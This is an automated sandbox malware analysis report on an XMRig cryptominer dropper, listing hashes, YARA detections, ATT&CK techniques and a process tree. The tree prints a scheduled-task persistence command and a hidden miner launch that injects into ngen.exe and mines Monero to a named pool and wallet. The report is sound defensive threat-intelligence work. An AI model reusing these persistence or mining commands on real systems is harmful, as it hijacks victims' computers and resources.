xmrig | 8e9e34d70a388ee2721911e266e68ebfcdaf460803fa1baf66f9b6cbf560b2a9

General

Target

file.exe
Size

3.2MB
MD5

3a20a6145a7a57af149bfd110fdd6300
SHA1

7626cf05a564a565d17cb85aaf6b93c871c3de91
SHA256

8e9e34d70a388ee2721911e266e68ebfcdaf460803fa1baf66f9b6cbf560b2a9
SHA512

182bf26f7d072d56a0435c4a088baa2d5d1d58c8c048c7f517a91177ee6cec52f3e83e2bfbaf5f046265117281daf059d6bca39cecd5fa279ff081f7fff9319d
SSDEEP

49152:2PtyRSv3AJhGiPWGhUyJ4STSVP1JXrb2XpZofxX3ePG0cid7X9MJM5r:EcRe388iPWGmyJ5GV7n2XjOXeGxihrr

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 11 IoCs

miner

resource	yara_rule
behavioral2/memory/4940-160-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4940-161-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4940-162-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4940-164-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4940-165-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4940-166-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4940-167-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4940-168-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4940-169-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4940-171-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4940-172-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

.NET Reactor proctector 3 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/memory/2720-133-0x00000000009B0000-0x0000000000CF2000-memory.dmp	net_reactor
behavioral2/files/0x000a000000023269-148.dat	net_reactor
behavioral2/files/0x000a000000023269-149.dat	net_reactor

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000\Control Panel\International\Geo\Nation	PCELK.exe

Executes dropped EXE 1 IoCs

pid	Process
440	PCELK.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 440 set thread context of 4940	440	PCELK.exe	112

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3016	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2548	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
440	PCELK.exe
440	PCELK.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
664	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2720	file.exe
Token: SeDebugPrivilege	440	PCELK.exe
Token: SeLockMemoryPrivilege	4940	ngen.exe
Token: SeLockMemoryPrivilege	4940	ngen.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4940	ngen.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2720 wrote to memory of 3732	2720	file.exe	93
PID 2720 wrote to memory of 3732	2720	file.exe	93
PID 3732 wrote to memory of 2548	3732	cmd.exe	95
PID 3732 wrote to memory of 2548	3732	cmd.exe	95
PID 3732 wrote to memory of 440	3732	cmd.exe	97
PID 3732 wrote to memory of 440	3732	cmd.exe	97
PID 440 wrote to memory of 4384	440	PCELK.exe	100
PID 440 wrote to memory of 4384	440	PCELK.exe	100
PID 4384 wrote to memory of 3016	4384	cmd.exe	103
PID 4384 wrote to memory of 3016	4384	cmd.exe	103
PID 440 wrote to memory of 4940	440	PCELK.exe	112
PID 440 wrote to memory of 4940	440	PCELK.exe	112
PID 440 wrote to memory of 4940	440	PCELK.exe	112
PID 440 wrote to memory of 4940	440	PCELK.exe	112
PID 440 wrote to memory of 4940	440	PCELK.exe	112
PID 440 wrote to memory of 4940	440	PCELK.exe	112
PID 440 wrote to memory of 4940	440	PCELK.exe	112
PID 440 wrote to memory of 4940	440	PCELK.exe	112
PID 440 wrote to memory of 4940	440	PCELK.exe	112
PID 440 wrote to memory of 4940	440	PCELK.exe	112
PID 440 wrote to memory of 4940	440	PCELK.exe	112
PID 440 wrote to memory of 4940	440	PCELK.exe	112
PID 440 wrote to memory of 4940	440	PCELK.exe	112
PID 440 wrote to memory of 4940	440	PCELK.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpEB1B.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3732
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:2548
- - C:\ProgramData\BinEngFrame\PCELK.exe
    "C:\ProgramData\BinEngFrame\PCELK.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:440
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PCELK" /tr "C:\ProgramData\BinEngFrame\PCELK.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4384
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PCELK" /tr "C:\ProgramData\BinEngFrame\PCELK.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:3016
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe -o xmr-eu1.nanopool.org:14433 -u 87N2CazJHoaY8ofHfhpKfj2SGmfMDHPXkgZNgeArkrabCc8vC81NNzxdN6Rjfemw5TGmZ2vbDrC6wDxqdGf7eqqYVBUpMZD --tls --coin monero --max-cpu-usage=50 --donate-level=1 -opencl
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:4940

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\BinEngFrame\PCELK.exe

Filesize
722.0MB

MD5
3271628956fd21cd715d41bedfd91216

SHA1
4313f30f7bfdcc3dd4a787cb69d85d92965784d3

SHA256
169291fe508a802bcbf5efad4a9de787c420ba29e26aebb7b8d46280ead573f4

SHA512
72ea68f49b0ca8c5cd7b63846979e4f9bdf80fab3ce6a2c92ee3fc329aa23106c65f84d3499e7f40e52a67b9f0b072a33d8ddef793822df7758b47b43b3d284f

Download Submit
C:\ProgramData\BinEngFrame\PCELK.exe

Filesize
722.0MB

MD5
3271628956fd21cd715d41bedfd91216

SHA1
4313f30f7bfdcc3dd4a787cb69d85d92965784d3

SHA256
169291fe508a802bcbf5efad4a9de787c420ba29e26aebb7b8d46280ead573f4

SHA512
72ea68f49b0ca8c5cd7b63846979e4f9bdf80fab3ce6a2c92ee3fc329aa23106c65f84d3499e7f40e52a67b9f0b072a33d8ddef793822df7758b47b43b3d284f

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpEB1B.tmp.bat

Filesize
145B

MD5
cb982cd8c77c6f19e6b0ae7347e77ebe

SHA1
6a81aed2cca668af07db628d7cb5cedc1c94cb08

SHA256
b531dbcd9d404faee426733e8ff37b3d8f2cd82f3aeab7901512011812fd8ea9

SHA512
ed876060391d2cc84d8ebf4d07ef2b670f7758f82a2d075307794a28f1daa8f4810b01c763537620bfb5829deefb5f8b5f3a99bd4dae9fd95fbf7b710c24e7fe

Download Submit
memory/440-178-0x00007FFBF4200000-0x00007FFBF4CC1000-memory.dmp

Filesize
10.8MB

Download
memory/440-154-0x00000000023B0000-0x00000000023C0000-memory.dmp

Filesize
64KB

Download
memory/440-153-0x0000000001B00000-0x0000000001B01000-memory.dmp

Filesize
4KB

Download
memory/440-152-0x00000000023B0000-0x00000000023C0000-memory.dmp

Filesize
64KB

Download
memory/440-151-0x00007FFBF4200000-0x00007FFBF4CC1000-memory.dmp

Filesize
10.8MB

Download
memory/440-150-0x00007FFBF4200000-0x00007FFBF4CC1000-memory.dmp

Filesize
10.8MB

Download
memory/2720-146-0x00007FFBF3EC0000-0x00007FFBF4981000-memory.dmp

Filesize
10.8MB

Download
memory/2720-133-0x00000000009B0000-0x0000000000CF2000-memory.dmp

Filesize
3.3MB

Download
memory/2720-139-0x000000001C850000-0x000000001C860000-memory.dmp

Filesize
64KB

Download
memory/2720-138-0x00007FFBF3EC0000-0x00007FFBF4981000-memory.dmp

Filesize
10.8MB

Download
memory/2720-136-0x0000000003670000-0x0000000003671000-memory.dmp

Filesize
4KB

Download
memory/2720-135-0x000000001C850000-0x000000001C860000-memory.dmp

Filesize
64KB

Download
memory/2720-134-0x00007FFBF3EC0000-0x00007FFBF4981000-memory.dmp

Filesize
10.8MB

Download
memory/4940-163-0x0000026E39F80000-0x0000026E39FA0000-memory.dmp

Filesize
128KB

Download
memory/4940-162-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4940-161-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4940-164-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4940-165-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4940-166-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4940-167-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4940-168-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4940-169-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4940-170-0x0000026E3A010000-0x0000026E3A050000-memory.dmp

Filesize
256KB

Download
memory/4940-171-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4940-172-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4940-160-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads